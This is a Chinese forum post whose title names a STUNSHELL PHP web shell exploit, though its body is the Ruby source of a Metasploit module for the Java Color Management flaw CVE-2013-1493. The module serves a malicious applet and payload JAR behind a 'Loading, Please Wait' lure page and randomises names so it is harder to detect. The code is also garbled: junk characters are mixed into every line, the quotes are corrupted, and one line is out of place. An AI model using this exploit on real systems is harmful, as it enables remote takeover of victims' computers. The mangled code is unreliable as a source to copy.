找回密码
 立即注册
查看: 3045|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##5 v2 A3 y9 E/ P1 q7 a8 S' W6 E
& V) F2 ?3 x, G9 q4 A
# This file is part of the Metasploit Framework and may be subject to
1 g5 H- `  T4 _0 J8 b" `0 l! ]# p* c3 }# redistribution and commercial restrictions. Please see the Metasploit: \+ L  A4 y5 u! x2 R
# web site for more information on licensing and terms of use.. I$ |* t% X( j+ _
# http://metasploit.com/: @! X' s' A( |+ o3 C2 V
##
1 b6 S8 l9 M) B# ?2 m) Krequire ‘msf/core’( M/ ~( ~# `1 r. ]$ O
require ‘rex’9 {6 R2 q( u: I! T. x( e. z
class Metasploit3 < Msf::Exploit::Remote
0 G' D$ d( q2 Y) o5 fRank = NormalRanking
- d; s( b0 o/ a- P8 }include Msf::Exploit::Remote::HttpServer::HTML
9 X# s* f; K8 ~6 ~( e( ]include Msf::Exploit::EXE) E. v( n: ]. e- t# }( y
include Msf::Exploit::Remote::BrowserAutopwn/ w+ I. M: m7 q# Y% v7 p
autopwn_info({ :javascript => false }): B; A% X) h+ T4 j
def initialize( info = {} )
( B0 d: x/ G9 c! jsuper( update_info( info,
. A3 g' S6 Y6 v. l$ J‘Name’ => ‘Java CMM Remote Code Execution’,& S. D) T+ S% f. g
‘Description’ => %q{
- D+ d5 ]& |6 [! N4 q+ l9 ^This module abuses the Color Management classes from a Java Applet to run% P# z. R& k5 N) Y6 ~+ t/ C0 ^
arbitrary Java code outside of the sandbox as exploited in the wild in February1 @8 c6 n: M8 f  J: G; ]) p* D' L
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
/ \0 c& F: G  g! s2 j( r) Kand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1& x2 d% @! S; W! M1 n; a
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java% X6 ?6 I! R8 I% U1 t3 o
warning in order to run the malicious applet.
1 P' @# v& p- R# ?1 ?2 ?! X},
2 G7 L% P) s. D' I9 ?, ]. j‘License’ => MSF_LICENSE,, p' y, N7 J9 T' P/ f
‘Author’ =>
% S1 J. R0 i$ S# n. Y7 `'Unknown', # Vulnerability discovery and Exploit; `) o1 y( \6 T" W* z) ~
'juan vazquez' # Metasploit module (just ported the published exploit)7 [1 U8 \: F0 v. _9 L
],
8 p0 U/ r1 H0 ]6 J9 Y‘References’ =>
& O; c$ w8 |+ j0 J' n# N[, m$ J3 f. ~+ x8 ?+ C" P
[ 'CVE', '2013-1493' ],
  h1 A) ^& U5 E: r1 k8 q[ 'OSVDB', '90737' ],
4 o7 E* x6 ^9 i4 c( i: Y[ 'BID', '58238' ],
. j1 h. ?) x8 y" B% {[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],1 Z8 L9 f0 @) G
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],9 X0 g7 x* h" u8 T$ c
[ 'URL', 'http://pastie.org/pastes/6581034' ]
" H5 _" t  U% d+ H5 m( r9 r4 d],* g: g0 Q. D1 N* M
‘Platform’ => [ 'win', 'java' ],
* t' d2 R6 G+ r, F( f+ e! E+ M( K‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },. ~6 L+ g1 E) `% C
‘Targets’ =>
, a5 g  M% f  b2 x1 i7 n. b' O[
4 T4 z" L+ E! {4 _- E! n; w5 _[ 'Generic (Java Payload)',
) r8 a; M6 O% s4 c5 N{
& V3 U/ A/ Q9 V2 h9 T3 y; ?- E'Platform' => 'java',
) u1 T8 t$ G  i5 a0 e) d7 v'Arch' => ARCH_JAVA
6 W2 g7 g/ f/ Z9 T; F$ k( O, d6 Y}
7 b  c3 t- ?1 V8 N# v],. K1 I1 n* O3 \3 V( C$ v
[ 'Windows x86 (Native Payload)',/ G  F' V) o4 D9 U! X
{
+ L5 f2 Y5 L$ t; v# `( p& ]' {/ E'Platform' => 'win',/ h# d, [. j$ l2 r6 X8 k% b
'Arch' => ARCH_X86* K5 F- v$ C) L* E
}
+ A1 H2 d+ _3 O* D7 z% p4 Q]
2 R% p& h: [8 A],3 f/ F) l( f* D' w. N7 z
‘‘DisclosureDate’ => ‘Mar 01 2013′
$ m5 q! V, N$ U5 A# c% e))1 S+ a: k* z$ O
end
( _2 h: t( J- \4 ^# Ldef setup
5 f3 L) i; P$ u+ p2 T/ D& kpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
! m  _8 V2 L  _+ R; Z8 Y' s+ k@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
" w( f  X9 a$ d& N  O" c0 c! Ppath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
, F9 j( D0 _4 F  D! Z0 X@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }2 K! r4 i' j$ w6 z$ k+ \  w
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
( i# l2 m* V: U$ A& r4 ^@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
( R# ~8 N$ c; ~path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
! y% \0 H7 [( t1 N. E@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }" \: c  t5 K( E8 e1 c
@init_class_name = rand_text_alpha(“Init”.length)
7 f5 v- M- K1 N( L: w* C0 i6 f8 Y) n: v( G@init_class.gsub!(“Init”, @init_class_name)
7 t8 E: G- }8 V8 S  fsuper
) d- V* G7 V+ M# ]end8 x$ N3 ?0 d* A- L& a: T9 f, S
def on_request_uri(cli, request)
7 L' R' Q9 i% F- r; J8 g  Z- G' vprint_status(“handling request for #{request.uri}”)
# @( b. w# j( pcase request.uri
  |$ \# G- j& W& C' y' L; ^, ?7 S- Gwhen /\.jar$/i5 N$ R7 h/ @# Y' P, L
jar = payload.encoded_jar
. b; `: O& z6 c' ojar.add_file(“#{@init_class_name}.class”, @init_class)
+ S1 N0 c, i5 D3 m* N! m( B2 Ojar.add_file(“Leak.class”, @leak_class)
, C) L( r1 L: m2 s- D% |8 gjar.add_file(“MyBufferedImage.class”, @buffered_image_class)8 G/ J2 S+ M9 ]" B
jar.add_file(“MyColorSpace.class”, @color_space_class)+ S& W/ ~1 M7 o: ~  P
DefaultTarget’ => 1,4 v7 |) O0 i0 B7 m6 `+ S; A
metasploit_str = rand_text_alpha(“metasploit”.length)
+ o, j) q5 a6 h# p! ]- c4 C, W& b; qpayload_str = rand_text_alpha(“payload”.length)( F3 F- C+ ~$ H" `& ?4 D  n
jar.entries.each { |entry|3 l& L. O7 d! m$ W
entry.name.gsub!(“metasploit”, metasploit_str)) |) _& V9 \0 x. v( E% v+ A
entry.name.gsub!(“Payload”, payload_str)
8 z) f7 [! |+ P1 ^entry.data = entry.data.gsub(“metasploit”, metasploit_str)' i" R+ Q4 n/ |1 y+ v3 W
entry.data = entry.data.gsub(“Payload”, payload_str)
& h4 x- L% {' o4 ]0 n$ C8 K}
: [* L9 ~" l" M$ ~jar.build_manifest
( Q! Q: ?3 q; m7 ~" y* B6 asend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })' g, D5 b! ~5 v" k5 P" H* Y
when /\/$/
) v, g( U2 X* l. F# T1 M3 }payload = regenerate_payload(cli)7 y$ Y' T0 L( L) \3 d$ u* w
if not payload
& C; C) _3 Y1 Qprint_error(“Failed to generate the payload.”)
/ ^7 |' C0 ^* T0 x+ z; G4 vsend_not_found(cli)' a' j! O3 x7 v) C4 a
return/ k" m8 G1 n2 m: D. n6 O
end, @% `, D+ }+ G- a+ @; l
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
3 F( b# L% N* a& x; K  z& x$ @else7 Q: J4 m0 X. Y6 R/ G5 }
send_redirect(cli, get_resource() + ‘/’, ”)7 A+ D! d( y+ |" G5 `" @
end8 M/ ?. f/ W' S1 P. E+ Y
end8 Q# c2 c. ^' J5 i# \. B6 ~- o0 f7 x" r
def generate_html
  {# E' X* J" q4 k  {html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
" x6 t  r6 Z5 o3 V& p9 a5 u- X% q% Shtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|( d) q- i$ t. j5 |, T
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
8 Z+ }+ H3 a; V* o, Z  E; Shtml += %Q|</applet></body></html>|3 b8 w+ i2 w: j" G. ~$ I/ h
return html2 ?! o4 G+ f) c) m- E" g4 l
end
3 E( v4 r# S' I5 h$ {' v% U# _8 Tend
( H4 h  Q7 @7 T2 R1 Bend
& J2 w! W6 |# F( s/ v/ W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表